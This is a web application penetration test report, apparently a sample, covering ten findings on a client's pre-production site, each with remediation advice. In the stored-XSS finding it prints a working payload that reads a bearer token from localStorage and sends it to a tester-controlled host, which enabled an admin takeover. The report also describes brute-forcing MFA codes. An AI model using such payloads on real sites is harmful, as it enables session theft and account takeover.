Prepared for **Example Ltd**

Website Application Penetration Test Report

Pentesys Ltd

Classification	**Client Confidential**
Author	**James Hinton**
Date	**25/08/2025**
Revision	**2.0**

The information contained in this document is Pentesys Ltd's 'Proprietary' information and is disclosed in confidence. It is the property of Pentesys Ltd and shall not be copied or disclosed to others, in full or in part, or used for any other purpose without the prior written consent of Pentesys Ltd. To handle requirements, refer to the Pentesys Ltd Information Classification Policy.

1. Introduction 3
1.1. Scope of Test 3
1.2. Out of Scope 3
1.3. Caveats 3
1.4. Document Control 4
1.5. Document History 4
2. Executive Summary 5
2.1. Key Findings 5
2.2. Positive Observations 6
3. Technical Results 7
3.1. Assessment Purpose 7
3.2. Assessment Bias 7
3.3. Penetration Testing Methodology 7
3.4. Vulnerability Scoring 8
4. Penetration Testing Overview 9
4.1. Website Application Penetration Test 9
4.1.1. Stored XSS Leading to Privilege Escalation 10
4.1.2. No Lockout on MFA Token 12
4.1.3. File Upload Restriction Bypassed 13
4.1.4. Indirect Object Reference - User Enumeration 14
4.1.5. Bypass of Client-Side Input Validation 15
4.1.6. Content Security Policy 16
4.1.7. Missing HTTP headers 17
4.1.8. User Enumeration Through Error Message 19
4.1.9. Server Information Disclosure 20
4.1.10. Admin Account Enumeration 21
5. Retesting & Next Steps 22
5.1. Remediation Timelines 22
5.2. Retest Offer 22
5.3. Continuous Validation 22
5.4. Contact 22
6. Appendix A – Tools & Techniques 23
7. Appendix B – Glossary of Terms 24

1. Introduction

This report details the scope and findings of a penetration test against the organisation's infrastructure and applications. The exercise is designed to establish a technical vulnerability baseline at a specific point in time. This report presents the baseline and initial analysis of the findings. Penetration tests broadly cover known issues to assess the most likely problems and allow fixes for identified problems to be applied. They should be completed frequently.

1.1. Scope of Test

The following components have been designated as being within the scope of this engagement.

- https://dev.example.com

Testing Type	Authenticated (grey-box) web application penetration test
Testing Window	12–19 August 2025
Environment	Pre-production deployment, built from the same codebase and infrastructure template as production
Test Accounts Provided	One Standard User account and one Administrator account, used throughout Section 4 to demonstrate privilege boundaries

1.2. Out of Scope

The following were explicitly excluded from this engagement:

- The production environment – testing was performed exclusively against the pre-production deployment listed above
- Denial-of-service testing (see Caveats, below)
- Physical security and social engineering (phishing, vishing, on-site access)
- Third-party identity provider and payment processor infrastructure — only the application's own integration points with these services were assessed
- Static source code review – this was a dynamic assessment of the running application only

1.3. Caveats

Due to the nature of the environment, checks that would have a high probability of disrupting the named hosts were excluded. Denial-of-service attempts were excluded for the same reason.

1.4. Document Control

This document contains Client Confidential information and may not be copied without written permission. The content of this document should be considered proprietary information and should not be disclosed outside of Example Ltd.

Data Classification	Client Confidential
Client Name	Example Ltd
Project Reference	EX-001
Document Title	Pentesys - Example Web App Report
Author	James Hinton

1.5. Document History

Issue No.	Issue Date	Issued By	Change Description
0.1	19/08/2025	James Hinton	Draft for Pentesys internal review only
0.2	20/08/2025	Mick Dunne	Revised QA
1.0	20/08/2025	James Hinton	Released to the client
2.0	25/08/2025	James Hinton	v2: Risk Rating, Positive Observations, Retest & Glossary

2. Executive Summary

The security assessment of the Example web application revealed several weaknesses that collectively undermine the platform's resilience and increase the likelihood of successful exploitation by a motivated attacker. While the application provides core functionality as intended, several flaws in its security controls mean that critical risks remain unaddressed.

One of the most concerning issues identified was the reliance on client-side validation for input handling. This design decision enabled the introduction of a stored cross-site scripting (XSS) vulnerability, which could be exploited to compromise user sessions and escalate privileges within the system. In practice, this would give an attacker significant control over application behaviour and user data. The risk was further amplified by the absence of strong HTTP security headers such as a Content Security Policy (CSP), meaning that once malicious code was injected, it would face little resistance in executing across the platform.

Authentication mechanisms were also found to be ineffective in their current form. The multi-factor authentication (MFA) process required a secondary PIN; however, the system did not enforce account lockout or rate limiting for incorrect entries. As a result, this control could be bypassed through brute force techniques, significantly weakening the overall identity and access management strategy.

The assessment also highlighted weaknesses in file handling processes. The application's upload functionality did not restrict file types as expected, allowing arbitrary content to be introduced. This exposed the environment to the risk of malicious files being stored or distributed, which in a real-world attack could enable malware delivery or persistence.

Further risks were introduced through username enumeration vulnerabilities, which were observed across multiple areas, including the password reset flow, error messages, and project ID references. By harvesting valid account identifiers, attackers gain a direct advantage when attempting credential-based or social engineering attacks.

Taken together, these findings show that while the web application provides business value, it does so with several exploitable gaps in its defences. Without remediation, the platform is vulnerable to data compromise, service disruption, and reputational damage. Addressing these weaknesses, by strengthening input validation, hardening authentication, restricting file uploads, eliminating information leakage, and enforcing modern browser security controls, should be prioritised to bring the application in line with best-practice security standards and reduce the likelihood of a successful attack.

2.1. Key Findings

The following key findings were reported and identified during this engagement:

- Without proper server-side checks, attackers can bypass restrictions, upload malicious files, or inject harmful inputs, increasing the risk of compromise.
- Features such as password reset, error messages, and project references disclose whether a username exists, making it easier for attackers to target valid accounts.
- The lack of lockout or rate limiting allows brute force attacks against PIN codes, reducing the effectiveness of multi-factor authentication as a security control.
- Key headers like Content Security Policy (CSP) are not consistently applied, leaving the application more exposed to cross-site scripting (XSS) and other browser-based attacks.

2.2. Positive Observations

Alongside the findings above, the assessment also identified security controls that were working as intended. These are noted so that remediation effort is not misdirected at areas that are already sound:

- Multi-factor authentication is enforced platform-wide as a mandatory second factor for every account – the control itself is present; only its lack of rate limiting is a finding (Section 4.1.2).
- Authorisation checks correctly prevented direct access to other users' full project data – the IDOR in Section 4.1.4 exposed a project creator's identity, but not the underlying project content itself.
- All application traffic observed during testing was served exclusively over HTTPS/TLS; no unencrypted endpoints were identified.
- No evidence of SQL injection, command injection, or server-side template injection was found across the input points tested.

3. Technical Results

3.1. Assessment Purpose

The findings presented in this report should be viewed as potential vulnerabilities or technical risks, constituting just one aspect of an organisation's broader information security and cyber risk profile. It's important to note that this report does not encompass a full risk analysis. The responsibility for conducting a comprehensive risk assessment rest with the receiving organisation, although we stand ready to assist through their security management function. We aim to ensure that this report seamlessly integrates into the organisation's security management processes, facilitating compliance initiatives such as ISO 27001 or PCI-DSS.

Partner businesses and clients frequently mandate penetration tests and vulnerability assessments as integral components of their information security management programs. This report is designed to bolster these clients' confidence by providing valuable insights and supporting their assurance requirements in information security.

3.2. Assessment Bias

Over time, it's valuable to compare the findings in this report with those from previous assessments to gauge progress and improvements. Nevertheless, it's crucial to acknowledge that the concept of "absolute security" is elusive. The ever-evolving security landscape continually introduces new vulnerabilities, necessitating regular software patching that ranges from minor enhancements to critical security fixes. Given this dynamic environment, readers must remember that security is a constantly shifting paradigm. Even if this report reflects a lack of weaknesses and vulnerabilities, there's no guarantee that this status will persist in the coming months.

Positive findings are often scarce in security tests, so it's important not to become disheartened by the predominantly negative results. Conversely, the absence of findings in this report should not be misconstrued as an assurance of adequate security. The level of protection required depends heavily on the specific risks and threats the business confronts. Moreover, certain security vulnerabilities may remain undetected due to the constraints of the testing timeframe.

3.3. Penetration Testing Methodology

Penetration testing methodology serves as a well-structured approach employed by cybersecurity experts to assess the security of computer systems, networks, or applications. Typically, this process begins with initial reconnaissance to gather critical information, followed by vulnerability scanning, detailed analysis, and ethical exploitation attempts, all conducted within a controlled framework that strictly adheres to ethical guidelines and legal boundaries. The resulting findings are comprehensively documented, encompassing potential risks and recommended strategies for mitigation.

Notably, our methodology operates iteratively, allowing the process to repeat until all possible avenues have been explored or the designated testing time period has concluded. For further details, you can find additional information on our website at:

https://pentesys.com/methodologies

3.4. Vulnerability Scoring

Vulnerabilities disclosed in this report have been assigned a severity and risk rating. Severity considers the vulnerability in isolation, while risk considers the likelihood of compromise, taking into account where the vulnerability can be exploited and any mitigating factors.

Critical	Pentesys views these as vulnerabilities that pose an immediate threat to the network, allowing a remote attacker to read, write, and execute commands directly on the target. These types of attacks will grant an attacker administrator/root-level privileges.
High	High vulnerabilities allow intruders to act as remote users but not as remote administrators or root users. They also provide hackers with partial access to file systems (for example, full read access without full write access). Vulnerabilities that expose highly sensitive information qualify as high vulnerabilities.
Medium	Pentesys views these vulnerabilities as ones that do not directly allow remote access, or allow privilege elevation attacks, attacks on other targets using the vulnerable host as an intermediary, or the gathering of passwords or configuration information that could be used to plan an attack. A vulnerability in this category can be combined with at least one medium vulnerability to compromise a host. Moreover, medium-risk vulnerabilities, in conjunction with information gathered from several low-risk vulnerabilities, can compromise a host.
Low	Warnings may or may not be vulnerabilities, depending upon the patch level or configuration of the target. Further investigation by the system administrator may be necessary. Low-risk vulnerabilities make a host more susceptible to compromise. Typical low-risk vulnerabilities might provide unnecessary or excessive information about a host or its operating environment.
Informational	Information Leakage Vulnerabilities expose operating system and application server information to users on the Internet. Penetration Testing methodology suggests that information leakage is one of the critical determinants for exploiting vendor-specific patching vulnerabilities. Therefore, organisations should try to minimise their information leakage to prevent attack escalation.

Each finding in Section 4 also carries a **Risk Rating** and a **Likelihood**, separate from Severity: Severity is the CVSS score on its own, while Risk Rating adjusts that for what was actually observed during testing – whether an exploit chain was demonstrated, say, or whether the finding depends on another weakness being exploited first. Likelihood follows this scale:

Confirmed	Demonstrated end-to-end during testing with a working proof of concept.
Likely	Not fully demonstrated, but only needs conditions that are readily available – a standard account, say, or information already exposed elsewhere in this report.
Possible	Would need extra conditions, effort, or a chained weakness not seen during this engagement.

4. Penetration Testing Overview

4.1. Website Application Penetration Test

Overview of Vulnerabilities				
Critical	High	Medium	Low	Informational
-	1	4	5	-

The following table shows an ordered list of findings by their CVSS severity, alongside the Risk Rating described in Section 3.4 (Severity adjusted for demonstrated exploitability and compounding factors):

CVSS Score	Issue Title	Severity	Risk Rating
8.0	Stored XSS Leading to Privilege Escalation	HIGH	CRITICAL
6.5	No Lockout on MFA Token	MEDIUM	HIGH
4.3	File Upload Restriction Bypassed	MEDIUM	MEDIUM
4.3	Indirect Object Reference - User Enumeration	MEDIUM	LOW
4.3	Bypass of Client-Side Input Validation	MEDIUM	MEDIUM
3.7	Content Security Policy	LOW	LOW
3.7	Missing HTTP headers	LOW	LOW
3.7	User Enumeration Through Error Message	LOW	LOW
3.7	Server Information Disclosure	LOW	LOW
3.1	Admin Account Enumeration	LOW	LOW

4.1.1. Stored XSS Leading to Privilege Escalation

Severity:	High	**CVSS Score:**	8.0
Risk Rating:	Critical	**Likelihood:**	Confirmed
CVSS Vector:	CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H		

Description

The application was vulnerable to stored Cross-Site Scripting (XSS). Stored XSS occurs when malicious JavaScript is injected into an application and saved on the server, such as in a database or user input field. When another user accesses the affected page, the script is executed in their browser. This type of vulnerability can be exploited to steal session cookies, impersonate users, or perform unauthorised actions on behalf of the victim.

The impact of this vulnerability was heightened by the fact that the authorisation token was stored in the browser's local storage. This made it possible for a malicious script to retrieve the token and compromise user sessions. An attacker could therefore steal other users' tokens and assume their identities within the application.

To demonstrate this, a payload was crafted to exploit the stored XSS. When another user triggered the malicious script, it extracted the authorisation token from local storage and transmitted it to a web application controlled by the attacker. With this token, the attacker could impersonate the victim and perform actions within the application as if they were that user.

Note: The application relied solely on frontend validation to block malicious inputs in certain fields. However, this protection could be easily bypassed by intercepting the requests and modifying them after the frontend checks were completed. This weakness was leveraged to carry out the attack.

Impact

If exploited, this stored XSS vulnerability could allow an attacker to execute arbitrary JavaScript in the context of another user's session. This can lead to serious consequences, such as session hijacking, unauthorised actions performed on behalf of users, and potential account takeovers—especially if the targeted user has administrative privileges.

Evidence

The Short List Codes field (https://dev.example.com/project/save) was vulnerable to stored Cross-Site Scripting (XSS).

While the application's interface only permitted alphanumeric characters and underscores when entering codes, this restriction could be bypassed.



Non-alphanumeric input could still be submitted by intercepting the request and modifying it after the frontend validation had completed.



The filename containing the payload was stored in the backend. Although it was correctly sanitised in most parts of the application, the value was not properly handled in the Edit pop-up window of the Phenotype Library's medical codes.

SCREENSHOT REDACTED FOR EXAMPLE REPORT

As shown above, a JavaScript alert box was triggered when the parameter was viewed in the Edit pop-up window. This confirmed that arbitrary JavaScript could be executed through the stored payload.

To demonstrate the potential impact, a proof-of-concept script was submitted by a standard user account (james.hinton+1@pentesys.com). The payload extracted the authorisation bearer token from localStorage and exfiltrated it to a server controlled by the tester. The following payload was used:

```
<img src=x onerror='new Image().src=&quot;https://[Redacted].xyz/t?b=&quot;+encodeURIComponent
(localStorage.getItem("vs:auth.token"));)'>
```

When the administrator account (james.hinton@pentesys.com) accessed the vulnerable page, their authorisation token was captured and transmitted to the server controlled by the standard user.

SCREENSHOT REDACTED FOR EXAMPLE REPORT

By using this data and then modifying the vs:auth.token and vs:user values in local storage, the standard user was able to assume the identity of 'pen.tester@pentesys.com' and gain access to the application with administrator privileges.

SCREENSHOT REDACTED FOR EXAMPLE REPORT

Affected

The following host(s)/area(s) are affected by this issue:

- https://dev.example.com/user/view

Remediation

To mitigate this vulnerability, all user-supplied input should be properly validated, sanitised, and encoded by the backend before being stored or rendered in the application. Implement context-aware output encoding (e.g., HTML, JavaScript, URL encoding) to prevent execution of injected scripts.

In addition, a strict Content Security Policy (CSP) should be configured on all requests to block the loading of scripts from untrusted sources and restrict inline script execution.

4.1.2. No Lockout on MFA Token

Severity:	Medium	**CVSS Score:**	6.5
Risk Rating:	High	**Likelihood:**	Likely
CVSS Vector:	CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N		

Description

The MFA code verification process did not implement protections against brute-force attacks, allowing unlimited attempts without restriction. Although the MFA token was six digits long and rotated every 30 seconds, the absence of lockout mechanisms or rate limiting meant an attacker could continuously submit requests until the correct code was eventually guessed.

Impact

Without proper controls, an attacker could automate MFA token submissions to bypass the intended protection. This undermines the security benefit of MFA by reducing it to a guessable challenge, making user accounts more vulnerable to compromise even when MFA is enabled.

Evidence

A proof of concept was carried out by sending more than 12,000 requests to (*https://dev.example.com/auth/mfa/validate*) within a 30-second window, eventually resulting in the MFA code being guessed correctly.



Affected

The following host(s)/area(s) are affected by this issue:

- https://dev.example.com

Remediation

Implement server-side rate limiting and account lockouts after a defined number of failed MFA attempts. Introducing exponential backoff delays, CAPTCHA challenges, or temporary account suspension can further reduce the feasibility of brute-force attacks.

4.1.3. File Upload Restriction Bypassed

Severity:	Medium	**CVSS Score:**	4.3
Risk Rating:	Medium	**Likelihood:**	Likely
CVSS Vector:	CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N		

Description

The file upload restrictions could be bypassed, allowing files with extensions outside of the expected types to be uploaded. This meant that potentially dangerous files, such as executables or files containing malware, could be introduced into the system.

This was achieved by intercepting the upload request and modifying both the filename and file content. Since the only validation performed was on the Content-Type header, which could be left as application/pdf, the application accepted and stored the file regardless of its actual type or contents. Since uploaded files could be shared between users, an attacker could leverage this weakness to distribute malicious files to other users, creating a risk of infection or further compromise.

Impact

The ability to bypass file upload restrictions exposes the application and its users. Malicious actors could upload harmful files, such as executables or malware, which could then be downloaded by other users. This creates an avenue for spreading malicious software through the application, potentially leading to compromised user devices.

Evidence

The file upload request was intercepted and modified so that, instead of a PDF, a file named hello.exe was submitted. Both the filename and file content were altered to reflect the executable, and the file was successfully uploaded to the application.

SCREENSHOT REDACTED FOR EXAMPLE REPORT

The file could then be downloaded by any user with access to the study protocol.

SCREENSHOT REDACTED FOR EXAMPLE REPORT

Affected

The following host(s)/area(s) are affected by this issue:

- https://dev.example.com

Remediation

The reliance on the Content-Type header for validation is insufficient, as this value can easily be manipulated during transit. To address this, all file validation must be enforced server-side. The server should verify both the file extension and the actual file signature) to ensure the file type matches what is expected. In addition, files should be scanned for malicious content before being made available for download. Restricting uploads to a small set of safe file types (for example, PDF or JPEG) and storing them in a non-executable directory will further reduce the risk of abuse.

4.1.4. Indirect Object Reference – User Enumeration

Severity:	Medium	**CVSS Score:**	4.3
Risk Rating:	Low	**Likelihood:**	Likely
CVSS Vector:	CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N		

Description

The project IDs were assigned incrementally. While it was not possible to access the full details of other projects, it was possible to enumerate and view information about the users who created them. This was achieved by modifying the project ID value in the request and reviewing the responses returned by the application.

Impact

This vulnerability exposes information about other users of the application, including the identity of those who created projects. Although full project details were not accessible, the ability to enumerate users through predictable project IDs represents a privacy and information disclosure risk. An attacker could use this to map out active users, target specific accounts for further attacks, or correlate internal activity with external identities.

Evidence

By modifying the project ID in a user's GET request, it was possible to retrieve details of the users who had created those projects.



The standard user account pen.tester+1@pentesys.com was able to change the project ID parameter to view information about the users who had created other projects, as shown below:



Affected

The following host(s)/area(s) are affected by this issue:

- https://dev.example.com/projects/[User_ID]/users

Remediation

Implement strict server-side authorisation checks to ensure that users can only access information related to their own projects. Additionally, consider using non-sequential, unpredictable identifiers (such as UUIDs) to make enumeration more difficult.

4.1.5. Bypass of Client-Side Input Validation

Severity:	Medium	**CVSS Score:**	4.3
Risk Rating:	Medium	**Likelihood:**	Confirmed
CVSS Vector:	CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N		

Description

Several input fields within the application relied solely on client-side validation (e.g., JavaScript checks) to prevent users from submitting restricted or malformed values. These protections could be bypassed by intercepting the HTTP requests after the frontend validation was completed and modifying the request parameters directly. As a result, values outside of the intended restrictions could be injected into the application.

In one instance, this weakness enabled a stored cross-site scripting (XSS) attack, demonstrating that malicious input could be persisted and executed within the application.

Impact

Relying exclusively on frontend validation leaves the application vulnerable to malicious input, as attackers can easily manipulate requests before they reach the server. This increases the risk of input-based attacks such as cross-site scripting, SQL injection, or privilege escalation. In this case, it allowed XSS payloads to bypass restrictions, potentially leading to account compromise, unauthorised actions, or data theft.

Evidence

The frontend validation stopped any inputs that were not alphanumeric and details from being entered.



However, the request could be intercepted and modified after the frontend checks took place, bypassing the frontend restrictions and saving unattended characters into the variables.



Affected

The following host(s)/area(s) are affected by this issue:

- https://dev.example.com/projects

Remediation

All input validation must be enforced on the server side, regardless of any checks performed in the client. Server-side validation should enforce strict allowlists for expected values, reject malformed or unexpected input, and sanitise user-supplied data before processing or rendering.

Front-end validation can still be used to improve the user experience, but it should never be relied upon as a security control.

4.1.6. Content Security Policy

Severity:	Low	**CVSS Score:**	3.7
Risk Rating:	Low	**Likelihood:**	Possible
CVSS Vector:	CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:N		

Description

The application implements a Content-Security-Policy (CSP) header on responses, but the configuration weakens its overall effectiveness. Specifically, the style-src directive includes the 'unsafe-inline' keyword, which enables the execution of inline CSS.

Additionally, the img-src directive is set to 'self' and 'data: https', which allows images to be loaded from any HTTPS origin, as well as from data URIs. This broad allowance increases the potential attack surface for malicious or unexpected image sources.

Impact

The use of 'unsafe-inline' in style-src allows injection of arbitrary inline styles, which could enable UI manipulation or CSS-based attacks. The broad img-src directive permits images from untrusted sources, creating opportunities for data exfiltration or mixed-content style attacks.

Evidence

The Content Security Policy for the application:



Affected

The following host(s)/area(s) are affected by this issue:

- https://dev.example.com

Remediation

Update the CSP to enforce stricter directives. Remove **'unsafe-inline'** from **style-src** and replace it with nonces or hashes for any required inline styles. Narrow the **img-src** directive to only trusted sources (for example, **'self'** and specific allowed domains) and remove the data: scheme unless necessary. Ensure the CSP is applied consistently across all HTML responses to provide uniform protection throughout the application.

4.1.7. Missing HTTP headers

Severity:	Low	**CVSS Score:**	3.7
Risk Rating:	Low	**Likelihood:**	Possible
CVSS Vector:	CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N		

Description

The application operates as a single-page application: the root HTML file (/) delivers the JavaScript bundle, and subsequent requests to the JSON API endpoints retrieve data. While the API responses include several security headers, the root HTML response does not return an equivalent set. This results in an inconsistent security posture, where API calls are partially protected, but the document that initialises the application is not.

An example of this weakness was observed when certain responses were missing the CSP header, which allowed a stored XSS payload to execute.

Best practice is to enforce a baseline set of security headers on all responses. The API is currently missing only a few of these headers, listed below. These, along with the existing headers already in place, should be applied consistently across every response.

- **Strict Transport Policy** - The absence of this header leaves the application vulnerable to man-in-the-middle attacks and potential data interception, as it fails to enforce secure connections over HTTPS, thus compromising the overall security posture of the system
- **Cross-Origin-Embedder-Policy (COEP)** - Configures embedding cross-origin resources into the document.
- **Cross-Origin Resource Policy (CORP)** - Policy set by the Cross-Origin-Resource-Policy HTTP header that lets websites and applications opt into protection against certain requests from other origins.
- **Cross-Origin-Opener-Policy (COOP)** - Ensure a top-level document does not share a browsing context group with cross-origin documents.

Impact

While missing security headers are not a vulnerability in themselves, they weaken the overall security posture of the application. Introducing them will help minimise the impact of vulnerabilities such as Cross-site Scripting (XSS), Clickjacking and Person-in-the-Middle (PitM) attacks.

Evidence

HTTP headers returned during API calls:



HTTP headers returned during non-API calls:



Affected

The following host(s)/area(s) are affected by this issue:

- https://dev.example.com

Remediation

All HTTP security headers should be applied consistently across every response. In addition to the existing headers, the following should also be implemented throughout the application.

Strict Transport Policy

It is recommended that the application server return a single HSTS header. The specification was released in 2012 as RFC 6797. Supported browsers set the future connection time via a special HTTP response header from the server.

The following header requests browsers to use HTTPS connections for the next year.

```
Strict-Transport-Security: max-age=31536000
```

Cross-Origin-Embedder-Policy

This stops the page loading cross-origin resources that haven't explicitly opted in via CORP or CORS, which is what lets the browser isolate it properly and closes off a class of cross-origin data leaks along the way.

```
Cross-Origin-Embedder-Policy: require-corp
```

Cross-Origin-Resource-Policy

Add this to API and static responses so other sites can't embed them without permission. `same-origin` is the right default here; only relax it to `same-site` where a subdomain genuinely needs access.

```
Cross-Origin-Resource-Policy: same-origin
```

Cross-Origin-Opener-Policy

This keeps the page in its own browsing context group, so a window it opens can't reach back in through `window.opener`.

```
Cross-Origin-Opener-Policy: same-origin
```

4.1.8. User Enumeration Through Error Message

Severity:	Low	**CVSS Score:**	3.7
Risk Rating:	Low	**Likelihood:**	Likely
CVSS Vector:	CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N		

Description

The application returned different error messages during both the registration and password reset processes. When attempting to register with an already-registered email address, the system responded with “The link has expired.” Similarly, during the password reset process, entering a valid email address produced a distinct error message. These differences enable an attacker to verify whether a specific email address is registered in the application.

Impact

This behaviour enables user enumeration. An attacker could automate requests with lists of email addresses to identify valid accounts. Once identified, these accounts could be targeted for password-guessing attacks, phishing, or other social engineering activities. This increases the risk of account compromise and exposes users to additional threats.

Evidence

During the registration process, the application displayed a different error message when attempting to register a user who was already registered. Instead of completing successfully, the system returned the message “The link has expired.”



The same behaviour was observed in the password reset process. When a valid email address was entered, the application returned the following error message:



Affected

The following host(s)/area(s) are affected by this issue:

- https://dev.example.com/register
- https://dev.example.com/forgot

Remediation

The application should return a generic, consistent message for both successful and unsuccessful attempts during registration and password reset flows. For example, responses could state: “If the email address is valid, you will receive further instructions.” This prevents attackers from distinguishing between valid and invalid accounts. Additional protections, such as rate limiting, CAPTCHA, and monitoring for unusual activity, should also be considered to reduce the risk of automated attacks further.

4.1.9. Server Information Disclosure

Severity:	Low	**CVSS Score:**	3.7
Risk Rating:	Low	**Likelihood:**	Possible
CVSS Vector:	CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N		

Description

The application disclosed server information in its HTTP response headers. For example, responses included the header Server: nginx/1.18.0 (Ubuntu), which reveals the exact web server software and version in use. This type of information provides attackers with valuable insights into the underlying infrastructure and can be leveraged to identify known vulnerabilities or misconfigurations associated with that specific version.

Impact

Exposing server details increases the application's attack surface. An attacker could use the disclosed version information to perform targeted attacks, exploit known vulnerabilities, or plan more advanced intrusion attempts. While this may not directly compromise the application on its own, it lowers the barrier to a successful attack and contributes to information gathering during reconnaissance.

Evidence

The response headers and error messages show the server information.

SCREENSHOT REDACTED FOR EXAMPLE REPORT

Affected

The following host(s)/area(s) are affected by this issue:

- https://dev.example.com

Remediation

Server and framework version information should be suppressed from HTTP response headers and errors. This can typically be achieved by adjusting the web server configuration (e.g., disabling or modifying the Server header in nginx or Apache). Additionally, ensure that verbose error messages and stack traces are not exposed to end users.

4.1.10. Admin Account Enumeration

Severity:	Low	**CVSS Score:**	3.1
Risk Rating:	Low	**Likelihood:**	Possible
CVSS Vector:	CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:L/I:N/A:N		

Description

The message function on the homepage exposed the details of the sender, including their username and email address. Since only administrative users can send messages, this behaviour effectively discloses administrator account information. An attacker could exploit this vulnerability to identify valid administrator usernames and potentially use them in subsequent attacks, such as brute-force or credential-stuffing attempts.

Impact

Exposing administrative usernames and email addresses increases the risk of targeted attacks against privileged accounts. An attacker with knowledge of valid administrator credentials could attempt brute-force password guessing, credential stuffing, or social engineering campaigns. This undermines the security of the authentication process and raises the likelihood of unauthorised access to administrative functionality.

Evidence

The 'get messages' request (*https://dev.example.com/users/messages*) revealed the names and email addresses of admin users.

SCREENSHOT REDACTED FOR EXAMPLE REPORT

Affected

The following host(s)/area(s) are affected by this issue:

- https://dev.example.com

Remediation

Avoid exposing unnecessary user details in application responses. For the message function, display only the information strictly required by recipients (e.g., the message content and perhaps a display name) without revealing usernames or email addresses.

5. Retesting & Next Steps

5.1. Remediation Timelines

The following remediation timelines are recommended, based on the Risk Rating assigned to each finding in Section 4 (see Section 3.4 for how Risk Rating differs from Severity):

Risk Rating	Recommended Remediation Timeline
Critical	7 days
High	14 days
Medium	30 days
Low	90 days, or at the next convenient release

5.2. Retest Offer

Pentesys will perform one retest of the findings in this report at no additional cost, provided it is requested within 60 days of the issue date on the cover page and remediation work has been completed. Findings not resolved by the time of retest will be carried forward and re-verified once remediation is complete; this does not consume the retest offer.

5.3. Continuous Validation

This report is a snapshot from the testing window in Section 1.1, not an ongoing guarantee. New deployments, config changes, and newly disclosed third-party vulnerabilities can reopen risk in areas that tested clean here. Section 3.2 makes the same point: no findings today doesn't mean no findings next month.

Continuous Threat Exposure Management (CTEM) fills that gap between engagements – ongoing attack surface monitoring and verification that fixed findings stay fixed, visible in a single portal alongside results like this report's.

Pairing periodic testing with continuous validation catches regressions as they happen instead of at the next scheduled test. Interested? Raise it with your contact below.

Pentesys also offers External Attack Surface Management (EASM), Adversary Simulation, and Cyber Essentials certification – ask your contact below for details, or reach out to sales@pentesys.com.

5.4. Contact

Questions about this report, or requests to schedule a retest, should be directed to:

Lead Tester	James Hinton (james.hinton@pentesys.com)
Certifications	CyberScheme Team Leader Infrastructure (CSTL-INF)
Engagements	projects@pentesys.com

6. Appendix A – Tools & Techniques

The following tools were used during this engagement:

Tool	Requirement
DirBuster	DirBuster is designed to brute-force directories and file names on web/application servers. https://owasp.org/www-project-dirbuster/
Nikto	Nikto is a web server scanner which performs comprehensive tests against web servers for multiple items. https://github.com/sullo/nikto
Burp Suite Pro	Burp Suite Professional is the most widely used pentesting toolkit. It includes a huge range of tools for both scanning and manual testing https://portswigger.net/burp/pro
Tenable Nessus	Tenable Nessus is a vulnerability assessment tool to identify weaknesses in the service levels of accessible services. https://www.tenable.com/products/nessus
Arachni	Arachni is an open-source application DAST vulnerability assessment tool. https://www.arachni-scanner.com

7. Appendix B – Glossary of Terms

Term	Definition
XSS	Cross-Site Scripting – injecting malicious script into content served to other users, executed in their browser.
IDOR	Insecure Direct Object Reference – accessing another user's data by changing an identifier in a request, without a proper authorisation check.
CSP	Content Security Policy – an HTTP header that restricts which sources of scripts, styles, and other content a browser will load.
HSTS	HTTP Strict Transport Security – an HTTP header instructing browsers to only connect to a site over HTTPS.
COEP / CORP / COOP	Cross-Origin Embedder/Resource/Opener Policy – a family of HTTP headers that isolate a page from untrusted cross-origin content and scripting.
CVSS	Common Vulnerability Scoring System – an industry-standard formula for scoring the severity of a vulnerability from 0.0 to 10.0.
MFA	Multi-Factor Authentication – requiring more than one piece of evidence (e.g. a password plus a one-time code) to authenticate.
PoC	Proof of Concept – a minimal working demonstration that a vulnerability is genuinely exploitable.
TLS / HTTPS	Transport Layer Security – the encryption protocol underlying HTTPS, protecting data in transit between client and server.
Grey-box testing	Testing performed with some prior knowledge of the target (e.g. valid user credentials), as opposed to black-box (no access) or white-box (full source access) testing.